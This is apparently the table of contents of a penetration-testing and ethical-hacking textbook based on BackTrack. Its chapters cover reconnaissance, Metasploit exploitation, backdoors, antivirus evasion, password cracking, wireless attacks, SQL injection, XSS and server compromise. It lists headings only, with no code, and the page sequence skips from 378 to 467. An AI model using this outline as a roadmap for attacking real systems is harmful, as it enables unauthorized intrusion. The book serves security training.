## Contents

Preface ............................................................................................................................. xxiii  
Acknowledgments ............................................................................................................. xxv  
Author ............................................................................................................................. xxvii

1 Introduction to Hacking .................................................................................................. 1  
  Important Terminologies ............................................................................................... 2  
  Asset ............................................................................................................................... 2  
  Vulnerability .................................................................................................................. 3  
  Threat .............................................................................................................................. 3  
  Exploit ............................................................................................................................ 3  
  Risk ................................................................................................................................. 3  
  What Is a Penetration Test? .......................................................................................... 3  
  Vulnerability Assessments versus Penetration Test ...................................................... 3  
  Preengagement .............................................................................................................. 3  
  Rules of Engagement .................................................................................................... 4  
  Milestones ..................................................................................................................... 4  
  Penetration Testing Methodologies .............................................................................. 5  
  OSSTMM ....................................................................................................................... 5  
  NIST ............................................................................................................................... 6  
  OWASP ........................................................................................................................... 7  
Categories of Penetration Test .......................................................................................... 7  
  Black Box ....................................................................................................................... 7  
  White Box ....................................................................................................................... 7  
  Gray Box ........................................................................................................................ 7  
Types of Penetration Tests ................................................................................................. 7  
  Network Penetration Test ............................................................................................ 8  
  Web Application Penetration Test .............................................................................. 8  
  Mobile Application Penetration Test ........................................................................... 8  
  Social Engineering Penetration Test ............................................................................ 8  
  Physical Penetration Test ............................................................................................. 8  
Report Writing .................................................................................................................. 8  
Understanding the Audience ............................................................................................ 9
## Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Executive Class</td>
<td>9</td>
</tr>
<tr>
<td>Management Class</td>
<td>9</td>
</tr>
<tr>
<td>Technical Class</td>
<td>9</td>
</tr>
<tr>
<td>Writing Reports</td>
<td>10</td>
</tr>
<tr>
<td>Structure of a Penetration Testing Report</td>
<td>10</td>
</tr>
<tr>
<td>Cover Page</td>
<td>10</td>
</tr>
<tr>
<td>Table of Contents</td>
<td>10</td>
</tr>
<tr>
<td>Executive Summary</td>
<td>11</td>
</tr>
<tr>
<td>Remediation Report</td>
<td>12</td>
</tr>
<tr>
<td>Vulnerability Assessment Summary</td>
<td>12</td>
</tr>
<tr>
<td>Tabular Summary</td>
<td>13</td>
</tr>
<tr>
<td>Risk Assessment</td>
<td>14</td>
</tr>
<tr>
<td>Risk Assessment Matrix</td>
<td>14</td>
</tr>
<tr>
<td>Methodology</td>
<td>14</td>
</tr>
<tr>
<td>Detailed Findings</td>
<td>15</td>
</tr>
<tr>
<td>Description</td>
<td>15</td>
</tr>
<tr>
<td>Explanation</td>
<td>16</td>
</tr>
<tr>
<td>Risk</td>
<td>16</td>
</tr>
<tr>
<td>Recommendation</td>
<td>16</td>
</tr>
<tr>
<td>Reports</td>
<td>17</td>
</tr>
<tr>
<td>Conclusion</td>
<td>17</td>
</tr>
<tr>
<td>2 Linux Basics</td>
<td>19</td>
</tr>
<tr>
<td>Major Linux Operating Systems</td>
<td>19</td>
</tr>
<tr>
<td>File Structure inside of Linux</td>
<td>20</td>
</tr>
<tr>
<td>File Permission in Linux</td>
<td>22</td>
</tr>
<tr>
<td>Group Permission</td>
<td>22</td>
</tr>
<tr>
<td>Linux Advance/Special Permission</td>
<td>22</td>
</tr>
<tr>
<td>Link Permission</td>
<td>23</td>
</tr>
<tr>
<td>Suid &amp; Guid Permission</td>
<td>23</td>
</tr>
<tr>
<td>Stickybit Permission</td>
<td>23</td>
</tr>
<tr>
<td>Chatter Permission</td>
<td>24</td>
</tr>
<tr>
<td>Most Common and Important Commands</td>
<td>24</td>
</tr>
<tr>
<td>Linux Scheduler (Cron Job)</td>
<td>25</td>
</tr>
<tr>
<td>Cron Permission</td>
<td>26</td>
</tr>
<tr>
<td>Cron Permission</td>
<td>26</td>
</tr>
<tr>
<td>Cron Files</td>
<td>26</td>
</tr>
<tr>
<td>Users inside of Linux</td>
<td>28</td>
</tr>
<tr>
<td>Linux Services</td>
<td>29</td>
</tr>
<tr>
<td>Linux Password Storage</td>
<td>29</td>
</tr>
<tr>
<td>Linux Logging</td>
<td>30</td>
</tr>
<tr>
<td>Common Applications of Linux</td>
<td>30</td>
</tr>
<tr>
<td>What Is BackTrack?</td>
<td>30</td>
</tr>
<tr>
<td>How to Get BackTrack 5 Running</td>
<td>31</td>
</tr>
<tr>
<td>Installing BackTrack on Virtual Box</td>
<td>31</td>
</tr>
<tr>
<td>Installing BackTrack on a Portable USB</td>
<td>35</td>
</tr>
</tbody>
</table>
3 Information Gathering Techniques........................................................................ 53
   Active Information Gathering............................................................................. 53
   Passive Information Gathering........................................................................... 53
   Sources of Information Gathering ...................................................................... 54
   Copying Websites Locally.................................................................................. 54
      Information Gathering with Whois................................................................. 55
      Finding Other Websites Hosted on the Same Server..................................... 56
   Yougetsignal.com.............................................................................................. 56
      Tracing the Location...................................................................................... 57
      Traceroute..................................................................................................... 57
      ICMP Traceroute........................................................................................... 58
      TCP Traceroute............................................................................................. 58
         Usage......................................................................................................... 58
      UDP Traceroute............................................................................................ 58
         Usage......................................................................................................... 58
   NeoTrace........................................................................................................... 59
   Cheops-ng......................................................................................................... 59
      Enumerating and Fingerprinting the Webservers........................................... 60
Intercepting a Response ................................................................. 60
Acunetix Vulnerability Scanner .................................................... 62
WhatWeb ....................................................................................... 62
Netcraft ......................................................................................... 63
Google Hacking .......................................................... 63
Some Basic Parameters .............................................................. 64
Site ................................................................................................. 64
Example ......................................................................................... 64
TIP regarding Filetype ................................................................. 65
Google Hacking Database ....................................................... 66
Hackersforcharity.org/ghdb .......................................................... 67
Xcode Exploit Scanner ................................................................. 67
File Analysis ................................................................................. 68
Foca ............................................................................................... 68
Harvesting E-Mail Lists ................................................................. 69
Gathering Wordlist from a Target Website .................................... 71
Scanning for Subdomains ......................................................... 71
TheHarvester ................................................................................ 72
Fierce in BackTrack ................................................................. 72
Scanning for SSL Version ............................................................ 74
DNS Enumeration ................................................................. 75
Interacting with DNS Servers ...................................................... 75
Nslookup ....................................................................................... 76
DIG ................................................................................................. 76
Forward DNS Lookup ............................................................. 77
Forward DNS Lookup with Fierce ............................................... 77
Reverse DNS ................................................................................ 78
Reverse DNS Lookup with Dig ................................................... 78
Reverse DNS Lookup with Fierce ............................................... 78
Zone Transfers ............................................................................. 79
Zone Transfer with Host Command ............................................ 79
Automating Zone Transfers ....................................................... 80
DNS Cache Snooping ................................................................. 80
What Is DNS Cache Snooping? .................................................... 81
Nonrecursive Method ............................................................... 81
Recursive Method ................................................................. 82
What Is the Likelihood of Name Servers Allowing Recursive/Nonrecursive Queries? ...... 83
Attack Scenario........................................................................... 84
Automating DNS Cache Snooping Attacks .................................... 84
Enumerating SNMP.................................................................... 84
Problem with SNMP .................................................................. 84
Sniffing SNMP Passwords .......................................................... 84
OneSixtyOne .............................................................................. 85
Snmpenum ............................................................................... 85
SolarWinds Toolset ..................................................................... 85
SNMP Sweep ............................................................................. 86
SNMP Brute Force and Dictionary ............................................... 86
4 Target Enumeration and Port Scanning Techniques ........................................... 97
Host Discovery ........................................................................................................ 97
Scanning for Open Ports and Services ................................................................. 100
Types of Port Scanning .......................................................................................... 100
Understanding the TCP Three-Way Handshake .................................................. 101
TCP Flags ................................................................................................................. 101
Port Status Types ..................................................................................................... 102
TCP SYN Scan .......................................................................................................... 102
TCP Connect Scan ................................................................................................... 103
NULL, FIN, and XMAS Scans ................................................................................... 104
NULL Scan ................................................................................................................ 104
FIN Scan .................................................................................................................... 105
XMAS Scan ............................................................................................................... 105
TCP ACK Scan .......................................................................................................... 105
Responses .................................................................................................................. 106
UDP Port Scan .......................................................................................................... 106
Anonymous Scan Types ............................................................................................ 107
IDLE Scan .................................................................................................................. 107
Scanning for a Vulnerable Host ............................................................................... 107
Performing an IDLE Scan with NMAP ..................................................................... 109
TCP FTP Bounce Scan ............................................................................................ 109
Service Version Detection ....................................................................................... 110
OS Fingerprinting .................................................................................................... 111
POF ............................................................................................................................ 111
Output ......................................................................................................................... 112
   Normal Format ....................................................................................................... 112
   Grepable Format ................................................................................................... 112
   XML Format .......................................................................................................... 113
Advanced Firewall/IDS Evading Techniques ........................................................ 113
Timing Technique ..................................................................................................... 114
Wireshark Output .................................................................................................... 114
Fragmented Packets ............................................................................................... 115
Wireshark Output .................................................................................................... 115
5 Vulnerability Assessment ................................................................. 121
What Are Vulnerability Scanners and How Do They Work? .......... 121
Pros and Cons of a Vulnerability Scanner .................................... 122
Vulnerability Assessment with Nmap ............................................. 122
Updating the Database ................................................................. 122
Scanning MS08 _ 067 _ netapi .................................................... 123
Testing SCADA Environments with Nmap ................................. 123
  Installation ............................................................................ 124
  Usage .................................................................................. 124
Nessus Vulnerability Scanner ...................................................... 124
  Home Feed ........................................................................ 125
  Professional Feed ............................................................... 125
Installing Nessus on BackTrack ..................................................... 125
Adding a User ........................................................................... 125
  Nessus Control Panel .......................................................... 126
    Reports .......................................................... 126
    Mobile ........................................................................... 126
    Scan .............................................................................. 127
    Policies ......................................................................... 127
    Users ............................................................................ 127
    Configuration ................................................................... 127
  Default Policies ................................................................. 127
Creating a New Policy ................................................................. 128
Safe Checks ............................................................................. 128
Silent Dependencies .................................................................. 128
  Avoid Sequential Scans ....................................................... 128
Port Range ................................................................................ 129
  Credentials ....................................................................... 129
  Plug-Ins ........................................................................... 129
Preferences ................................................................................ 130
  Scanning the Target ............................................................ 130
Nessus Integration with Metasploit .............................................. 132
Importing Nessus to Metasploit ................................................. 132
  Scanning the Target ............................................................ 133
  Reporting ......................................................................... 133
  OpenVas .......................................................... 133
Resource ................................................................................... 134
  Vulnerability Data Resources ............................................. 134
  Exploit Databases .............................................................. 135
Using Exploit-db with BackTrack ................................................................. 136
Searching for Exploits inside BackTrack .................................................. 137
Conclusion .............................................................................................. 138

6 Network Sniffing .................................................................................. 139
  Introduction ........................................................................................... 139
  Types of Sniffing .................................................................................. 140
    Active Sniffing ................................................................................ 140
    Passive Sniffing .............................................................................. 140
  Hubs versus Switches ....................................................................... 140
  Promiscuous versus Nonpromiscuous Mode ....................................... 141
  MITM Attacks .................................................................................... 141
  ARP Protocol Basics ......................................................................... 142
  How ARP Works ................................................................................ 142
  ARP Attacks ...................................................................................... 143
    MAC Flooding ................................................................................. 143
    Macof ............................................................................................. 143
    ARP Poisoning ............................................................................ 144
  Scenario—How It Works ................................................................ 144
  Denial of Service Attacks ................................................................... 144
  Tools of the Trade .............................................................................. 145
    Dsniff ........................................................................................... 145
  Using ARP Spoof to Perform MITM Attacks ....................................... 145
    Usage ............................................................................................. 146
  Sniffing the Traffic with Dsniff ............................................................ 147
  Sniffing Pictures with Drifnet .............................................................. 147
  Urlsnarf and Webspy ....................................................................... 148
  Sniffing with Wireshark ................................................................... 149
  Ettercap ............................................................................................. 150
  ARP Poisoning with Ettercap ............................................................... 150
  Hijacking Session with MITM Attack .................................................. 152
  Attack Scenario ................................................................................ 152
  ARP Poisoning with Cain and Abel ...................................................... 153
  Sniffing Session Cookies with Wireshark ............................................ 155
  Hijacking the Session ...................................................................... 156
  SSL Strip: Stripping HTTPS Traffic ..................................................... 157
  Requirements .................................................................................... 157
    Usage ............................................................................................. 158
  Automating Man in the Middle Attacks .............................................. 158
    Usage ............................................................................................. 158
  DNS Spoofing .................................................................................... 159
    ARP Spoofing Attack ................................................................... 159
    Manipulating the DNS Records ...................................................... 160
    Using Ettercap to Launch DNS Spoofing Attack .......................... 160
  DHCP Spoofing ................................................................................ 160
  Conclusion ........................................................................................ 161
7 Remote Exploitation

Understanding Network Protocols................................................................. 163
Transmission Control Protocol ................................................................. 164
User Datagram Protocol ........................................................................ 164
Internet Control Messaging Protocol...................................................... 164
Server Protocols ....................................................................................... 164
Text-Based Protocols (Important) .............................................................. 164
Binary Protocols ....................................................................................... 164
FTP ........................................................................................................... 165
SMTP ....................................................................................................... 165
HTTP ........................................................................................................ 165
Further Reading ......................................................................................... 165
Resources .................................................................................................. 166
Attacking Network Remote Services........................................................... 166
Overview of Brute Force Attacks ............................................................... 166
Traditional Brute Force ........................................................................... 166
Dictionary Attacks .................................................................................... 166
Hybrid Attacks .......................................................................................... 167
Common Target Protocols ......................................................................... 167
Tools of the Trade ....................................................................................... 167
THC Hydra ................................................................................................ 167
Basic Syntax for Hydra ............................................................................. 168
Cracking Services with Hydra ................................................................. 168
Hydra GUI ................................................................................................ 170
Medusa ...................................................................................................... 170
Basic Syntax ............................................................................................... 170
OpenSSH Username Discovery Bug ......................................................... 170
Cracking SSH with Medusa .................................................................... 171
Ncrack ....................................................................................................... 171
Basic Syntax ............................................................................................... 171
Cracking an RDP with Ncrack ................................................................. 172
Case Study of a Morito Worm ................................................................. 172
Combining Nmap and Ncrack for Optimal Results .................................. 172
Attacking SMTP ....................................................................................... 173
Important Commands ............................................................................. 174
Real-Life Example .................................................................................... 174
Attacking SQL Servers ............................................................................ 175
MySQL Servers ....................................................................................... 175
Fingerprinting MySQL Version ............................................................... 175
Testing for Weak Authentication ............................................................. 175
MS SQL Servers ....................................................................................... 176
Fingerprinting the Version ..................................................................... 177
Brute Forcing SA Account ...................................................................... 177
Using Null Passwords ........................................................................... 178
Introduction to Metasploit ...................................................................... 178
History of Metasploit ................................................................................ 178
Metasploit Interfaces .......................................................... 178
MSFConsole ................................................................. 178
  MSFcli ................................................................. 179
  MSFGUI ............................................................... 179
  Armitage ............................................................... 179
Metasploit Utilities ....................................................... 179
MSFPayload ............................................................... 179
MSFEncode ............................................................... 179
MSFVenom ............................................................... 179
Metasploit Basic Commands ....................................... 180
Search Feature in Metasploit ....................................... 180
Use Command .......................................................... 181
Info Command .......................................................... 181
Show Options ............................................................ 181
Set/Unset Command ................................................... 182
Reconnaissance with Metasploit .................................. 182
Port Scanning with Metasploit ..................................... 182
Metasploit Databases .................................................. 182
Storing Information from Nmap into Metasploit Database .......................................................... 183
Useful Scans with Metasploit ....................................... 184
  Port Scanners ......................................................... 184
  Specific Scanners ................................................... 184
Compromising a Windows Host with Metasploit .............. 184
Metasploit Autopwn .................................................... 188
db _ autopwn in Action ................................................ 188
Nessus and Autopwn ..................................................... 189
  Armitage ............................................................... 189
Interface ................................................................. 190
Launching Armitage ..................................................... 190
Compromising Your First Target from Armitage ............. 191
Enumerating and Fingerprinting the Target ..................... 191
MSF Scans ............................................................... 192
Importing Hosts ........................................................ 192
Vulnerability Assessment ............................................. 193
Exploitation .............................................................. 193
Check Feature .......................................................... 195
Hail Mary ................................................................. 196
Conclusion ................................................................. 196
References ................................................................. 196

8 Client Side Exploitation ............................................... 197
Client Side Exploitation Methods .................................. 197
  Attack Scenario 1: E-Mails Leading to Malicious Attachments .................................................. 197
  Attack Scenario 2: E-Mails Leading to Malicious Links .............................................................. 197
  Attack Scenario 3: Compromising Client Side Update .............................................................. 198
  Attack Scenario 4: Malware Loaded on USB Sticks ....................................................................... 198
## Contents

- E-Mails with Malicious Attachments ................................................. 198
- Creating a Custom Executable ....................................................... 198
- Creating a Backdoor with SET ....................................................... 198
- PDF Hacking .................................................................................. 201

**Introduction** .................................................................................. 201

- Header ......................................................................................... 202
- Body ......................................................................................... 202
- Cross Reference Table .................................................................. 202
- Trailer ....................................................................................... 202

**PDF Launch Action** ...................................................................... 202

- Creating a PDF Document with a Launch Action ......................... 203
  - Controlling the Dialog Boxes .................................................... 205
  - PDF Reconnaissance ............................................................... 205
- Tools of the Trade .......................................................................... 205
- PDFINFO .................................................................................... 205
  - PDFINFO “Your PDF Document” ............................................. 206
- PDFTK ....................................................................................... 206

**Origami Framework** ..................................................................... 207

- Installing Origami Framework on BackTrack .................................. 207
- Attacking with PDF ....................................................................... 208
  - Fileformat Exploits ................................................................. 208
  - Browser Exploits ................................................................. 208

**Scenario from Real World** ............................................................. 209

- Adobe PDF Embedded EXE .......................................................... 210
- Social Engineering Toolkit ............................................................ 211
  - Attack Scenario 2: E-Mails Leading to Malicious Links ............ 213
- Credential Harvester Attack .......................................................... 214
- Tabnabbing Attack ...................................................................... 215
- Other Attack Vectors .................................................................. 216
- Browser Exploitation .................................................................. 217

**Attacking over the Internet with SET** ........................................ 217

- Attack Scenario over the Internet ............................................... 217
- Using Windows Box as Router (Port Forwarding) ......................... 220
  - Browser AutoPWN .................................................................. 220
  - Why Use Browser AutoPWN? .................................................. 221
  - Problem with Browser AutoPWN ............................................ 221
- VPS/Dedicated Server .................................................................. 223
  - Attack Scenario 3: Compromising Client Side Update ............ 223

- How Evilgrade Works .................................................................. 223

**Pre-requisites** .............................................................................. 223

- Attack Vectors ............................................................................ 223
- Internal Network Attack Vectors .................................................. 223
- External Network Attack Vectors ............................................... 224
- Evilgrade Console ...................................................................... 224

- Attack Scenario ........................................................................... 224
- Attack Scenario 4: Malware Loaded on USB Sticks ..................... 227
Contents

Teensy USB ................................................................. 229
Conclusion .................................................................... 229
Further Reading ........................................................ 229

9 Postexploitation .................................................................. 231

Acquiring Situation Awareness................................................. 231
  Enumerating a Windows Machine ........................................ 231
  Enumerating Local Groups and Users ................................. 233
  Enumerating a Linux Machine ............................................ 233
  Enumerating with Meterpreter ........................................... 235
  Identifying Processes ...................................................... 235
  Interacting with the System ............................................. 235
  User Interface Command ................................................ 235
Privilege Escalation ............................................................ 236
  Maintaining Stability .................................................... 236
Escalating Privileges .......................................................... 237
  Bypassing User Access Control ....................................... 238
  Impersonating the Token ................................................ 239
  Escalating Privileges on a Linux Machine ............................. 241
Maintaining Access ............................................................ 241
Installing a Backdoor ......................................................... 241
Cracking the Hashes to Gain Access to Other Services ............... 241
Backdoors ......................................................................... 241
  Disabling the Firewall .................................................. 242
  Killing the Antivirus ..................................................... 242
  Netcat ........................................................................ 243
MSFPayload/MSFEncode ...................................................... 244
  Generating a Backdoor with MSFPayload ........................... 244
  MSFEncode .................................................................. 245
MSFVenom .......................................................................... 246
  Persistence .................................................................... 247
  What Is a Hash? ............................................................ 249
  Hashing Algorithms ..................................................... 249
  Windows Hashing Methods ............................................ 250
  LAN Manager (LM) ...................................................... 250
  NTLM/NTLM2 ............................................................ 250
  Kerberos ...................................................................... 250
  Where Are LM/NTLM Hashes Located? .............................. 250
Dumping the Hashes ........................................................... 251
  Scenario 1—Remote Access ........................................... 251
  Scenario 2—Local Access ............................................. 251
  Ophcrack .................................................................... 252
References ......................................................................... 253
  Scenario 3—Offline System ............................................ 253
  Ophcrack LiveCD ......................................................... 253
  Bypassing the Log-In ................................................... 253
References .......................................................................................................................... 253
Cracking the Hashes .......................................................................................................... 253
  Bruteforce ......................................................................................................................... 253
  Dictionary Attacks ............................................................................................................ 254
  Password Salts .................................................................................................................. 254
  Rainbow Tables ................................................................................................................ 254
John the Ripper .................................................................................................................. 255
  Cracking LM/NTLM Passwords with JTR ........................................................................ 255
  Cracking Linux Passwords with JTR ................................................................................ 256
Rainbow Crack .................................................................................................................. 256
  Sorting the Tables .............................................................................................................. 257
  Cracking the Hashes with rcrack ..................................................................................... 258
  Speeding Up the Cracking Process .................................................................................. 258
  Gaining Access to Remote Services ............................................................................... 258
  Enabling the Remote Desktop ......................................................................................... 259
  Adding Users to the Remote Desktop ............................................................................. 259
Data Mining ...................................................................................................................... 259
  Gathering OS Information .............................................................................................. 260
  Harvesting Stored Credentials ......................................................................................... 261
Identifying and Exploiting Further Targets ...................................................................... 262
  Mapping the Internal Network ......................................................................................... 263
  Finding Network Information ......................................................................................... 264
  Identifying Further Targets ............................................................................................ 265
  Pivoting ........................................................................................................................... 266
  Scanning Ports and Services and Detecting OS ............................................................... 267
Compromising Other Hosts on the Network Having the Same Password ...................... 268
psexec ............................................................................................................................... 269
  Exploiting Targets .......................................................................................................... 270
Conclusion .......................................................................................................................... 270

10 Windows Exploit Development Basics ..................................................................... 271
Prerequisites ....................................................................................................................... 271
What Is a Buffer Overflow? ............................................................................................... 271
Vulnerable Application ...................................................................................................... 272
How to Find Buffer Overflows ........................................................................................ 273
Methodology ..................................................................................................................... 273
Getting the Software Up and Running .............................................................................. 273
Causing the Application to Crash ..................................................................................... 273
Skeleton Exploit ............................................................................................................... 275
  Determining the Offset ..................................................................................................... 278
  Identifying Bad Characters ............................................................................................... 280
Figuring Out Bad Characters with Mona ......................................................................... 281
  Overwriting the Return Address ...................................................................................... 283
  NOP Sledges .................................................................................................................... 285
Generating the ShellCode ................................................................................................. 286
Generating Metasploit Module ........................................................................................ 287
Porting to Metasploit .......................................................................................................... 288
Conclusion........................................................................................................................................... 290
Further Resources .................................................................................................................................. 290

11 Wireless Hacking .............................................................................................................................. 291
Introduction........................................................................................................................................... 291
Requirements ........................................................................................................................................... 291
Introducing Aircrack-ng......................................................................................................................... 293
Uncovering Hidden SSIDs ...................................................................................................................... 293
Turning on the Monitor Mode ................................................................................................................. 294
Monitoring Beacon Frames on Wireshark .............................................................................................. 294
Monitoring with Airodump-ng ................................................................................................................ 295
Speeding Up the Process ........................................................................................................................ 296
   Bypassing MAC Filters on Wireless Networks .................................................................................... 296
   Cracking a WEP Wireless Network with Aircrack-ng ....................................................................... 298
Placing Your Wireless Adapter in Monitor Mode .................................................................................. 298
Determining the Target with Airodump-ng ............................................................................................ 299
   Attacking the Target ............................................................................................................................ 299
   Speeding Up the Cracking Process ...................................................................................................... 300
   Injecting ARP Packets ........................................................................................................................ 300
   Cracking the WEP ............................................................................................................................... 301
Cracking a WPA/WPA2 Wireless Network Using Aircrack-ng ............................................................... 302
Capturing Packets .................................................................................................................................. 303
Capturing the Four-Way Handshake ....................................................................................................... 303
Cracking WPA/WAP2 ............................................................................................................................. 304
   Using Reaver to Crack WPS-Enabled Wireless Networks .................................................................. 305
Reducing the Delay .................................................................................................................................. 306
Further Reading ....................................................................................................................................... 306
   Setting Up a Fake Access Point with SET to PWN Users .................................................................. 306
Attack Scenario ....................................................................................................................................... 309
   Evil Twin Attack ................................................................................................................................ 310
Scanning the Neighbors .......................................................................................................................... 311
Spoofing the MAC .................................................................................................................................... 311
Setting Up a Fake Access Point ............................................................................................................. 311
Causing Denial of Service on the Original AP ....................................................................................... 311
Conclusion ............................................................................................................................................... 312

12 Web Hacking ..................................................................................................................................... 313
Attacking the Authentication .................................................................................................................. 313
   Username Enumeration ....................................................................................................................... 314
   Invalid Username with Invalid Password ......................................................................................... 314
   Valid Username with Invalid Password ............................................................................................. 314
   Enabling Browser Cache to Store Passwords ..................................................................................... 314
Brute Force and Dictionary Attacks ....................................................................................................... 315
Types of Authentication .......................................................................................................................... 315
   HTTP Basic Authentication ................................................................................................................ 315
   HTTP-Digest Authentication .............................................................................................................. 316
   Form-Based Authentication ............................................................................................................... 317
Exploiting Password Reset Feature ....................................................................................................... 319
Contents

Etsy.com Password Reset Vulnerability ................................................................. 319
Attacking Form-Based Authentication ................................................................. 320
Brute Force Attack ............................................................................................... 322
  Attacking HTTP Basic Auth .............................................................................. 323
Further Reading .................................................................................................. 326
  Log-In Protection Mechanisms ......................................................................... 326
  CAPTCHA Validation Flaw ............................................................................... 326
  CAPTCHA Reset Flaw ....................................................................................... 328
  Manipulating User-Agents to Bypass CAPTCHA and Other Protections ....... 329
Real-World Example ........................................................................................... 330
Authentication Bypass Attacks ........................................................................... 330
Authentication Bypass Using SQL Injection ......................................................... 330
Testing for SQL Injection Auth Bypass ................................................................. 331
Authentication Bypass Using XPATH Injection .................................................... 333
Testing for XPATH Injection ................................................................................ 333
Authentication Bypass Using Response Tampering ............................................ 334
Crawling Restricted Links ................................................................................... 334
Testing for the Vulnerability ............................................................................... 335
  Automating It with Burp Suite ........................................................................ 336
Authentication Bypass with Insecure Cookie Handling ........................................ 336
  Session Attacks ................................................................................................ 339
  Guessing Weak Session ID ............................................................................. 339
  Session Fixation Attacks .................................................................................. 341
Requirements for This Attack .............................................................................. 342
How the Attack Works ........................................................................................ 342
  SQL Injection Attacks ...................................................................................... 342
  What Is an SQL Injection? ............................................................................... 342
  Types of SQL Injection .................................................................................... 342
    Union-Based SQL Injection .......................................................................... 343
    Error-Based SQL Injection .......................................................................... 343
    Blind SQL Injection ....................................................................................... 343
  Detecting SQL Injection .................................................................................. 343
  Determining the Injection Type ........................................................................ 343
  Union-Based SQL Injection (MySQL) ............................................................... 344
Testing for SQL Injection .................................................................................... 344
  Determining the Number of Columns ............................................................. 345
  Determining the Vulnerable Columns .............................................................. 346
  Fingerprinting the Database ............................................................................ 347
  Enumeration Information .................................................................................. 347
  Information_schema ......................................................................................... 348
  Information_schema Tables ............................................................................. 348
  Enumerating All Available Databases ............................................................. 348
  Enumerating All Available Tables in the Database ......................................... 349
  Extracting Columns from Tables ...................................................................... 349
  Extracting Data from Columns ........................................................................ 350
Using group_concat ............................................................................................ 350
MySQL Version ≤ 5 ............................................................................................ 351
Guessing Table Names .................................................................................................................................. 351
Guessing Columns ......................................................................................................................................... 352
SQL Injection to Remote Command Execution .......................................................................................... 352
Reading Files .................................................................................................................................................. 353
Writing Files .................................................................................................................................................... 353
  Blind SQL Injection ..................................................................................................................................... 355
    Boolean-Based SQLi .............................................................................................................................. 355
  True Statement ............................................................................................................................................ 355
  False Statement .......................................................................................................................................... 356
  Enumerating the DB User ........................................................................................................................ 356
  Enumerating the MYSQL Version ........................................................................................................... 358
  Guessing Tables ......................................................................................................................................... 358
  Guessing Columns in the Table .............................................................................................................. 359
  Extracting Data from Columns .............................................................................................................. 360
  Time-Based SQL Injection ....................................................................................................................... 361
Vulnerable Application ..................................................................................................................................... 361
Testing for Time-Based SQL Injection ........................................................................................................ 362
  Enumerating the DB User ........................................................................................................................ 362
  Guessing the Table Names ...................................................................................................................... 363
  Guessing the Columns ............................................................................................................................ 364
  Extracting Data from Columns .............................................................................................................. 365
  Automating SQL Injections with Sqlmap ............................................................................................ 366
  Enumerating Databases ........................................................................................................................ 367
  Enumerating Tables .................................................................................................................................. 367
  Enumerating the Columns ...................................................................................................................... 367
  Extracting Data from the Columns ......................................................................................................... 368
  HTTP Header-Based SQL Injection ....................................................................................................... 368
  Operating System Takeover with Sqlmap ............................................................................................... 369
OS-CMD ......................................................................................................................................................... 369
OS-SHELL ....................................................................................................................................................... 369
OS-PWN ......................................................................................................................................................... 370
XSS (Cross-Site Scripting) ......................................................................................................................... 371
How to Identify XSS Vulnerability .......................................................................................................... 371
Types of Cross-Site Scripting .................................................................................................................. 371
Reflected/Nonpersistent XSS .................................................................................................................. 372
  Vulnerable Code ...................................................................................................................................... 372
Medium Security .......................................................................................................................................... 373
  Vulnerable Code ...................................................................................................................................... 373
High Security .................................................................................................................................................. 373
  Bypassing htmlspecialchars .................................................................................................................. 374
UTF-32 XSS Trick: Bypass 1 ..................................................................................................................... 375
Svg Craziness: Bypass 2 .......................................................................................................................... 375
Bypass 3: href Attribute .......................................................................................................................... 376
Stored XSS/Persistent XSS ....................................................................................................................... 377
Payloads .......................................................................................................................................................... 377
Blind XSS ....................................................................................................................................................... 378
DOM-Based XSS ............................................................................................................................................ 378
## Contents

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Overwriting Return Address</td>
<td>467</td>
</tr>
<tr>
<td>Generating Shellcode</td>
<td>467</td>
</tr>
<tr>
<td>Server Hacking</td>
<td>469</td>
</tr>
<tr>
<td>Apache Server</td>
<td>470</td>
</tr>
<tr>
<td>- Testing for Disabled Functions</td>
<td>470</td>
</tr>
<tr>
<td>- Open_basedir Misconfiguration</td>
<td>472</td>
</tr>
<tr>
<td>- Using CURL to Bypass Open_basedir Restrictions</td>
<td>474</td>
</tr>
<tr>
<td>- Open_basedir PHP 5.2.9 Bypass</td>
<td>475</td>
</tr>
<tr>
<td>Reference</td>
<td>476</td>
</tr>
<tr>
<td>- Bypassing open_basedir Using CGI Shell</td>
<td>476</td>
</tr>
<tr>
<td>- Bypassing open_basedir Using Mod_Perl, Mod_Python</td>
<td>477</td>
</tr>
<tr>
<td>Escalating Privileges Using Local Root Exploits</td>
<td>477</td>
</tr>
<tr>
<td>Back Connecting</td>
<td>477</td>
</tr>
<tr>
<td>Finding the Local Root Exploit</td>
<td>478</td>
</tr>
<tr>
<td>Usage</td>
<td>478</td>
</tr>
<tr>
<td>Finding a Writable Directory</td>
<td>479</td>
</tr>
<tr>
<td>Bypassing Symlinks to Read Configuration Files</td>
<td>480</td>
</tr>
<tr>
<td>Who Is Affected?</td>
<td>481</td>
</tr>
<tr>
<td>Basic Syntax</td>
<td>481</td>
</tr>
<tr>
<td>- Why This Works</td>
<td>482</td>
</tr>
<tr>
<td>- Symlink Bypass: Example 1</td>
<td>482</td>
</tr>
<tr>
<td>- Finding the Username</td>
<td>482</td>
</tr>
<tr>
<td>/etc/passwd File</td>
<td>483</td>
</tr>
<tr>
<td>/etc/valiases File</td>
<td>483</td>
</tr>
<tr>
<td>Path Disclosure</td>
<td>483</td>
</tr>
<tr>
<td>- Uploading .htaccess to Follow Symlinks</td>
<td>484</td>
</tr>
<tr>
<td>- Symlinking the Configuration Files</td>
<td>484</td>
</tr>
<tr>
<td>Connecting to and Manipulating the Database</td>
<td>485</td>
</tr>
<tr>
<td>Updating the Password</td>
<td>486</td>
</tr>
<tr>
<td>- Symlink the Root Directory</td>
<td>486</td>
</tr>
<tr>
<td>- Example 3: Compromising WHMCS Server</td>
<td>487</td>
</tr>
<tr>
<td>Finding a WHMCS Server</td>
<td>487</td>
</tr>
<tr>
<td>Symlinking the Configuration File</td>
<td>488</td>
</tr>
<tr>
<td>- WHMCS Killer</td>
<td>488</td>
</tr>
<tr>
<td>- Disabling Security Mechanisms</td>
<td>490</td>
</tr>
<tr>
<td>- Disabling Mod_Security</td>
<td>490</td>
</tr>
<tr>
<td>- Disabling Open_basedir and Safe_mode</td>
<td>490</td>
</tr>
<tr>
<td>- Using CGI, PERL, or Python Shell to Bypass Symlinks</td>
<td>491</td>
</tr>
<tr>
<td>Conclusion</td>
<td>491</td>
</tr>
</tbody>
</table>

**Index** ........................................................................................................ 493
Preface

